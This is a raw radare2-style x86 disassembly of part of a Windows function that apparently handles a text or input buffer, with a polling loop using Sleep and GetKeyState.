cmp dword [ebp - 0x44c], 0xffffffff
je 0x56c837
cmp dword [ebp - 0x44c], 4
jne 0x56c851
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x428], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x440], eax
jmp 0x56ca0b
cmp dword [ebp - 0x44c], 0
jne 0x56c911
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56c87a
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x428], eax
jmp 0x56c90c
push 0
lea eax, [ebp - 0x440]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x440]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56c8d7
mov eax, dword [ebp - 0x440]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x428], ecx
mov eax, dword [ebp - 0x440]
add eax, 1
mov dword [ebp - 0x440], eax
jmp 0x56c90c
mov eax, dword [ebp - 0x440]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x428], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x440], eax
jne 0x56c90c
mov dword [ebp - 0x440], 0xffffff22
jmp 0x56ca0b
cmp dword [ebp - 0x44c], 2
jne 0x56c9b3
push 0
lea eax, [ebp - 0x440]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x440]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x428], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x440], eax
jg 0x56c96b
cmp dword [ebp - 0x428], 0
jg 0x56c97c
mov eax, dword [ebp - 0x440]
sub eax, 1
mov dword [ebp - 0x440], eax
jmp 0x56c993
mov eax, dword [ebp - 0x440]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x428], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x440], eax
jne 0x56c9b1
mov dword [ebp - 0x440], 0xffffff22
jmp 0x56ca0b
cmp dword [ebp - 0x44c], 3
jne 0x56c9fc
push 0
lea eax, [ebp - 0x440]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x428], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x440], eax
jne 0x56c9fa
mov dword [ebp - 0x440], 0xffffff22
jmp 0x56ca0b
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0
jge 0x56ca1e
mov dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x428]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0x14]
jle 0x56ca44
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x44c], 4
jne 0x56ca84
mov eax, dword [ebp - 0x434]
sub eax, dword [ebp - 0x428]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x428]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56cacd
cmp dword [ebp - 0x44c], 2
jne 0x56ca9c
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56caa6
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x434]
sub edx, dword [ebp - 0x428]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x428]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x440], 0xffffff22
je 0x56caef
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x440]
push ecx
call fcn.00532078
add esp, 8
mov dword [ebp - 0x44], 0
cmp dword [ebp - 0x38], 0
je 0x56ce4c
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00533171
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.005355f2
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
jne 0x56ce45
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x8c]
push ecx
call fcn.005342b5
add esp, 8
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x470], 0xffffff22
mov dword [ebp - 0x47c], 3
cmp dword [ebp - 0x47c], 0xffffffff
je 0x56cb8d
cmp dword [ebp - 0x47c], 4
jne 0x56cba7
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x470], eax
jmp 0x56cd61
cmp dword [ebp - 0x47c], 0
jne 0x56cc67
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56cbd0
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x458], eax
jmp 0x56cc62
push 0
lea eax, [ebp - 0x470]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x470]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56cc2d
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x458], ecx
mov eax, dword [ebp - 0x470]
add eax, 1
mov dword [ebp - 0x470], eax
jmp 0x56cc62
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x458], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x470], eax
jne 0x56cc62
mov dword [ebp - 0x470], 0xffffff22
jmp 0x56cd61
cmp dword [ebp - 0x47c], 2
jne 0x56cd09
push 0
lea eax, [ebp - 0x470]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x458], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x470], eax
jg 0x56ccc1
cmp dword [ebp - 0x458], 0
jg 0x56ccd2
mov eax, dword [ebp - 0x470]
sub eax, 1
mov dword [ebp - 0x470], eax
jmp 0x56cce9
mov eax, dword [ebp - 0x470]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x458], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x470], eax
jne 0x56cd07
mov dword [ebp - 0x470], 0xffffff22
jmp 0x56cd61
cmp dword [ebp - 0x47c], 3
jne 0x56cd52
push 0
lea eax, [ebp - 0x470]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x470], eax
jne 0x56cd50
mov dword [ebp - 0x470], 0xffffff22
jmp 0x56cd61
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0
jge 0x56cd74
mov dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x458]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x464]
cmp eax, dword [ebp - 0x14]
jle 0x56cd9a
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x47c], 4
jne 0x56cdda
mov eax, dword [ebp - 0x464]
sub eax, dword [ebp - 0x458]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x458]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56ce23
cmp dword [ebp - 0x47c], 2
jne 0x56cdf2
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56cdfc
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x464]
sub edx, dword [ebp - 0x458]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x458]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x470], 0xffffff22
je 0x56ce45
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x470]
push ecx
call fcn.00532078
add esp, 8
mov dword [ebp - 0x38], 0
cmp dword [ebp - 0x50], 0
je 0x56d1a7
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x5c], 0
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x5c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00533171
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.005355f2
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.00532b86
add esp, 4
test eax, eax
jne 0x56d1a0
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x8c]
push ecx
call fcn.005342b5
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x4a0], 0xffffff22
mov dword [ebp - 0x4ac], 3
cmp dword [ebp - 0x4ac], 0xffffffff
je 0x56cee8
cmp dword [ebp - 0x4ac], 4
jne 0x56cf02
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x4a0], eax
jmp 0x56d0bc
cmp dword [ebp - 0x4ac], 0
jne 0x56cfc2
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jne 0x56cf2b
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x488], eax
jmp 0x56cfbd
push 0
lea eax, [ebp - 0x4a0]
push eax
call fcn.005342b5
add esp, 8
mov ecx, dword [ebp - 0x8c]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x4a0]
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x56cf88
mov eax, dword [ebp - 0x4a0]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
sub ecx, 1
mov dword [ebp - 0x488], ecx
mov eax, dword [ebp - 0x4a0]
add eax, 1
mov dword [ebp - 0x4a0], eax
jmp 0x56cfbd
mov eax, dword [ebp - 0x4a0]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x488], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x4a0], eax
jne 0x56cfbd
mov dword [ebp - 0x4a0], 0xffffff22
jmp 0x56d0bc
cmp dword [ebp - 0x4ac], 2
jne 0x56d064
push 0
lea eax, [ebp - 0x4a0]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x4a0]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x488], ecx
mov eax, dword [ebp - 0x14c]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x4a0], eax
jg 0x56d01c
cmp dword [ebp - 0x488], 0
jg 0x56d02d
mov eax, dword [ebp - 0x4a0]
sub eax, 1
mov dword [ebp - 0x4a0], eax
jmp 0x56d044
mov eax, dword [ebp - 0x4a0]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x488], ecx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x4a0], eax
jne 0x56d062
mov dword [ebp - 0x4a0], 0xffffff22
jmp 0x56d0bc
cmp dword [ebp - 0x4ac], 3
jne 0x56d0ad
push 0
lea eax, [ebp - 0x4a0]
push eax
call fcn.005342b5
add esp, 8
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x4a0], eax
jne 0x56d0ab
mov dword [ebp - 0x4a0], 0xffffff22
jmp 0x56d0bc
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0
jge 0x56d0cf
mov dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x488]
add eax, dword [ebp - 0x14c]
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x14]
jle 0x56d0f5
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.00532078
add esp, 8
cmp dword [ebp - 0x4ac], 4
jne 0x56d135
mov eax, dword [ebp - 0x494]
sub eax, dword [ebp - 0x488]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x488]
push ecx
call fcn.00532bb8
add esp, 8
jmp 0x56d17e
cmp dword [ebp - 0x4ac], 2
jne 0x56d14d
movsx eax, byte [ebp - 0x155]
mov dword [ebp - 0x574], eax
jmp 0x56d157
mov dword [ebp - 0x574], 0
movzx ecx, byte [ebp - 0x574]
push ecx
mov edx, dword [ebp - 0x494]
sub edx, dword [ebp - 0x488]
push edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x488]
push eax
call fcn.00534102
add esp, 0xc
cmp dword [ebp - 0x4a0], 0xffffff22
je 0x56d1a0
mov eax, dword [ebp - 0x98]
push eax
mov ecx, dword [ebp - 0x4a0]
push ecx
call fcn.00532078
add esp, 8
mov dword [ebp - 0x50], 0
call fcn.00533c84
test eax, eax
je 0x56d1c9
mov esi, esp
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00535fca
call fcn.00532a2d
push 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535a34
add esp, 8
cmp dword [ebp - 0x110], 0
jbe 0x56d264
call fcn.00533cd9
sub eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x110]
jbe 0x56d264
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00532325
add esp, 4
test eax, eax
jne 0x56d24f
cmp dword [ebp + 0xc], 0
je 0x56d24f
mov dword [0x823018], 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.005347dd
add esp, 4
mov dword [0x808600], eax
mov eax, dword [ebp - 0x188]
mov dword [0x808604], eax
push 0x50
mov eax, dword [ebp + 8]
push eax
push 0x822f68
call fcn.00535647
add esp, 0xc
push 1
mov eax, dword [ebp + 0xc]
push eax
call fcn.00535a34
add esp, 8
mov eax, 0x92
jmp 0x56d2b5
mov esi, esp
push 0x76
call dword [sym.imp.USER32.dll_GetKeyState]
cmp esi, esp
call fcn.00535fca
cwde
and eax, 0x8000
jne 0x56d291
mov dword [0x823010], 0
mov dword [0x82300c], 0
mov esi, esp
push 0x19
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00535fca
jmp 0x5696ac
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
mov eax, 0xd
push edx
mov ecx, ebp
push eax
lea edx, [0x56d2dc]
call fcn.0053491d
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x574
cmp ebp, esp
call fcn.00535fca
mov esp, ebp
pop ebp
ret